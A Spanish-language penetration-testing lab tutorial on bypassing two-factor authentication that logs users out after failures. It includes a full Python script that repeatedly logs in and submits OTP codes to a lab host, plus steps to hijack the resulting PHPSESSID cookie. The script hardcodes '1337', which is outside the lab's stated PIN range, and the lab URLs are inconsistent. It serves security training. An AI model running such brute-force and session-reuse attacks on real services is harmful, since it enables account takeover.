XUT_ / COURSES / PENETRATION TESTER

Practical Beating the Auto-Logout Feature

En algunas aplicaciones, fallar el reto 2FA puede causar que la aplicación revierta al usuario de vuelta a la primera parte de autentificación del proceso. Este comportamiento ocurre normalmente debido a medidas de seguridad para prevenir la fuerza bruta.


Razones Comunes para este Comportamiento

Invalidación de Sesión

Si fallas la autentificación 2FA, la aplicación puede que invalide la sesión del usuario como medida de seguridad, forzando al usuario a que comience de nuevo el proceso de autentificación.

Limitación de Frecuencia y Políticas de Bloqueo

Para prevenir que los atacantes intenten bypassear el 2FA repetidamente, la aplicación puede tener un límite de frecuencia o mecanismos de bloqueo que se disparan después de un número de intentos fallidos.

Redirección por Seguridad

Algunas aplicaciones están diseñadas para redirigir a los usuarios de vuelta a la página de login después de un número de intentos fallidos, revirtiendo al usuario al paso inicial.


La Automatización es Clave

La automatización hace la vida más fácil al atacar estos tipos de protección porque:

Rapidez

Iniciar sesión manualmente cada vez que te cierran la sesión es lento y tedioso. La automatización lo puede hacer mucho más rápido.

Consistencia

La automatización evita errores que pueden pasar si estás haciendo acciones repetitivas una y otra vez. Es confiable.

Recuperarse de los Cierres de Sesión

Si la aplicación te cierra la sesión después de unos cuantos intentos fallidos, el script puede iniciar sesión de vuelta y seguir intentándolo. Esto ahorra el proceso de tener que hacerlo manualmente cada vez.

Personalización

Crear un script de automatización manualmente para el ataque ofrece más flexibilidad que usar una única herramienta como ZAP o Burp Suite. Puedes personalizar tus scripts para comprobar escenarios específicos como usar diferentes IPs o user-agents o variar los tiempos entre peticiones.


Explotación

La aplicación hosteada en http://mfs.thm/labs/third cierra la sesión del usuario automáticamente si falla el 2FA. Con propósito de demostración, la aplicación también genera un PIN de 4 dígitos cada vez que el usuario inicia sesión en la aplicación.

NOTE

En una aplicación real el PIN suele fluctuar entre 0000 y 9999 (si tiene 4 dígitos), pero por el propósito de la tarea está reducido.

php
function generateToken()
{
    $token = strval(rand(1250, 1350));

    $_SESSION['token'] = $token;
    return 'success';
}

Usando el siguiente script, guárdalo como exploit.py y ejecútalo en tu terminal:

python
import requests

# Define the URLs for the login, 2FA process, and dashboard
login_url = 'http://mfa.thm/labs/third/'
otp_url = 'http://mfa.thm/labs/third/mfa'
dashboard_url = 'http://mfa.thm/labs/third/dashboard'

# Define login credentials
credentials = {
    'email': 'thm@mail.thm',
    'password': 'test123'
}

# Define the headers to mimic a real browser
headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://mfa.thm',
    'Connection': 'close',
    'Referer': 'http://mfa.thm/labs/third/mfa',
    'Upgrade-Insecure-Requests': '1'
}

# Function to check if the response contains the login page
def is_login_successful(response):
    return "User Verification" in response.text and response.status_code == 200

# Function to handle the login process
def login(session):
    response = session.post(login_url, data=credentials, headers=headers)
    return response
  
# Function to handle the 2FA process
def submit_otp(session, otp):
    # Split the OTP into individual digits
    otp_data = {
        'code-1': otp[0],
        'code-2': otp[1],
        'code-3': otp[2],
        'code-4': otp[3]
    }
    
    response = session.post(otp_url, data=otp_data, headers=headers, allow_redirects=False)  # Disable auto redirects
    print(f"DEBUG: OTP submission response status code: {response.status_code}")
    
    return response

# Function to check if the response contains the login page
def is_login_page(response):
    return "Sign in to your account" in response.text or "Login" in response.text

# Function to attempt login and submit the hardcoded OTP until success
def try_until_success():
    otp_str = '1337'  # Hardcoded OTP

    while True:  # Keep trying until success
        session = requests.Session()  # Create a new session object for each attempt
        login_response = login(session)  # Log in before each OTP attempt
        
        if is_login_successful(login_response):
            print("Logged in successfully.")
        else:
            print("Failed to log in.")
            continue

        print(f"Trying OTP: {otp_str}")

        response = submit_otp(session, otp_str)

        # Check if the response is the login page (unsuccessful OTP)
        if is_login_page(response):
            print(f"Unsuccessful OTP attempt, redirected to login page. OTP: {otp_str}")
            continue  # Retry login and OTP submission

        # Check if the response is a redirect (status code 302)
        if response.status_code == 302:
            location_header = response.headers.get('Location', '')
            print(f"Session cookies: {session.cookies.get_dict()}")

            # Check if it successfully bypassed 2FA and landed on the dashboard
            if location_header == '/labs/third/dashboard':
                print(f"Successfully bypassed 2FA with OTP: {otp_str}")
                return session.cookies.get_dict()  # Return session cookies after successful bypass
            elif location_header == '/labs/third/':
                print(f"Failed OTP attempt. Redirected to login. OTP: {otp_str}")
            else:
                print(f"Unexpected redirect location: {location_header}. OTP: {otp_str}")
        else:
            print(f"Received status code {response.status_code}. Retrying...")

# Start the attack to try until success
try_until_success()

Desglose del código

Preparación del Script
  • URLs:
    • login_url: La URL de la página de inicio de sesión.
    • otp_url: La URL de la página donde se sube el PIN de 4 dígitos.
    • dashboard_url: La URL de la página a la que se redirige al usuario después de un inicio de sesión exitoso.
  • Credenciales:
    • El diccionario credentials contiene los emails y contraseñas que serán usadas para iniciar sesión.
  • Headers:
    • El diccionario headers contiene los headers HTTP que imitan a una petición de navegador real, incluyendo User-Agent, Referer, Content-Type y más.
Funciones
  • is_login_successful(response): Comprueba si el login fue exitoso buscando la frase "User Verification" en la respuesta y asegurando que el código de estado es 200 OK.
  • login(session): Realiza el login mandando una petición POST con las credenciales del usuario a la login_url. Devuelve la respuesta del servidor.
  • submit_otp(session,otp): Manda el PIN OTP de 4 dígitos a otp_url como petición POST. El OTP se divide en dígitos individuales y se mandan como parámetros (code-1, code-2, etc.). Devuelve la respuesta del servidor.
  • is_login_page(response): Comprueba si la respuesta contiene la página de login buscando palabras clave como "Sign in to your account" o "Login" en la respuesta.
Proceso de Fuerza Bruta
  • Rango OTP: El script ciclará hasta que la aplicación responda con el mismo OTP configurado en el script.
  • Creación de Sesión: Para cada intento OTP, una nueva sesión es creada usando requests.Session(), asegurando una sesión nueva para cada login e intento de subida OTP.
  • Intento de Login: El script intenta iniciar sesión usando las credenciales ofrecidas. Si el login es exitoso, imprime "Logged in successfully" y continúa con la subida OTP. Si el login falla, el script salta hasta el próximo OTP.
  • Subida OTP: El formato del script OTP tiene una string de 4 dígitos y la manda a otp_url.
  • Manejo de Respuesta:
    • Si la respuesta del servidor contiene la página de login, el script imprime un mensaje de error y continúa con el siguiente OTP.
    • Si la respuesta tiene un código de estado 302 Found, comprueba el header Location:
      • Si es redirigido a /labs/third/dashboard, indica un bypass exitoso de OTP y el script imprime un mensaje de éxito y sale.
      • Si es redirigido a /labs/third, indica OTP fallado y muestra un mensaje de error.
      • Cualquier otra dirección de redirección se marca como inesperada
    • Si la respuesta tiene cualquier otro código de estado, el script lo imprime y prueba el siguiente OTP.

Una vez que el script tiene éxito con la fuerza bruta, inicia sesión.

Practical Beating the Auto-Logout Feature

Usando la PHPSESSID que hemos obtenido, vamos a http://mfa.thm/labs/third, abrimos las herramientas de desarrollador y cambiamos el valor PHPSESSID en el apartado de "Cookies" en "Storage".

Practical Beating the Auto-Logout Feature

Una vez cambiado vamos a http://mfa.thm/labs/third/dashboard.

Practical Beating the Auto-Logout Feature